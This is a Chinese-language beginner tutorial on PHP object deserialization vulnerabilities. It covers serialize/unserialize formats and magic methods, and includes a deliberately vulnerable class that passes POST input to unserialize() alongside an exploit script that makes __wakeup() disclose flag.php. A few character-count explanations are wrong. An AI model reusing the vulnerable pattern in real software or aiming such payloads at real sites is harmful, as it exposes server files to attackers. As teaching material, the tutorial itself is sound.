php反序列化漏洞
序列化与反序列化
序列化:把对象转换为字节序列,用于保存
反序列化:把字节序列恢复为对象的过程
-
转换成统一的格式便于传输
-
保留对象的状态以及相关的描述信息
-
序列化机制的核心作用就是对象状态的保存与重建
反序列化本身不是漏洞,但是反序列化的参数可控就有可能导致漏洞
0x01 php的序列化与反序列化
Part 1 : serialize() 序列化
serialize 函数用于序列化数组或对象,并返回一个字符串。
简单来说,序列化就是把东西摆放整齐,比如:
<?php
$sites = array('a', 'bb', 'ccc');
$serialized_data = serialize($sites);
echo $serialized_data;
?>
输出结果为:
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
a:3 有三个数组
i:0 第一个数组,s:1:"a",表示第一个数组是字符,1表示有两个字符,为"a"
i:1 第二个数组,s:2:"bb",表示第二个数组是字符,2表示有三个字符,为"bb"
i:2 第三个数组,s:3:"ccc",表示第三个数组是字符,3表示有三个字符,为"ccc"
放入对象也是类似的。
<?php
class name {
var $test1;
var $test2;
}
$test3 = new name;
$test3->test1 = 'hello';
$test3->test2 = '_world';
echo serialize($test3);
输出结果:
O:4 指Object(对象) 4个字符
"name":2 指对象属性个数为2
{} 中为属性字符数:属性值
Part 2 : unserialize() 反序列化
unserialize 函数用于反序列化生成字符串。
比如:
<?php
$sites = array('a', 'bb', 'ccc');
$serialized_data = serialize($sites);
$unserialized_data = unserialize($serialized_data);
print_r($unserialized_data);
?>
输出结果:
Array
(
[0] => a
[1] => bb
[2] => ccc
)
这就是 PHP 的反序列化,返回原始的结构。
0x02反序列化漏洞
反序列化漏洞相关的,危险的 PHP 魔法函数,两个下划线开头。
__construct():当一个类被创建时自动调用
__destruct():当一个类被销毁时自动调用
__tostring():当把一个类当作字符串使用时自动调用
__wakeup():当调用unserialize()函数时自动调用
__sleep():当调用serialize()函数时自动调用
__get():当获得一个类的成员变量时自动调用
__set():当设置一个类的成员变量时自动调用
__invoke():当把一个类当作函数使用时自动调用
__call():当要调用的方法不存在或权限不足时自动调用
unserialize() 反序列化之后,会自动调用__ wakeup() ,因此最理想的情况就是一些漏洞/危害代码在 __wakeup() 中,从而当我们控制序列化字符串时可以去直接触发它们。
看一个简单的例子
<?php
// flag is in flag.php
class popdemo
{
private $filename = 'demo.php';
public function __wakeup()
{
// TODO: Implement __wakeup() method.
$this->show($this->filename);
}
public function show($filename)
{
show_source($filename);
}
}
unserialize($_POST['a']);//调用__wakeup()
exp:(漏洞利用代码)
<?php
class popdemo
{
private $filename = "flag.php";
}
$p = new popdemo();
var_dump(urlencode(serialize($p)));
运行之后得到flag.php
更多信息安全教程(upload-labs靶场笔记 SQL注入 新手向入门系列教程)
尽在蝰蛇安全实验室(微信公众号)呦
我们专注于打造清晰准确 新手友好的信息安全公众号
期待您的关注与支持
上一篇: JAVA中的面向对象思想
下一篇: java中的面向对象基础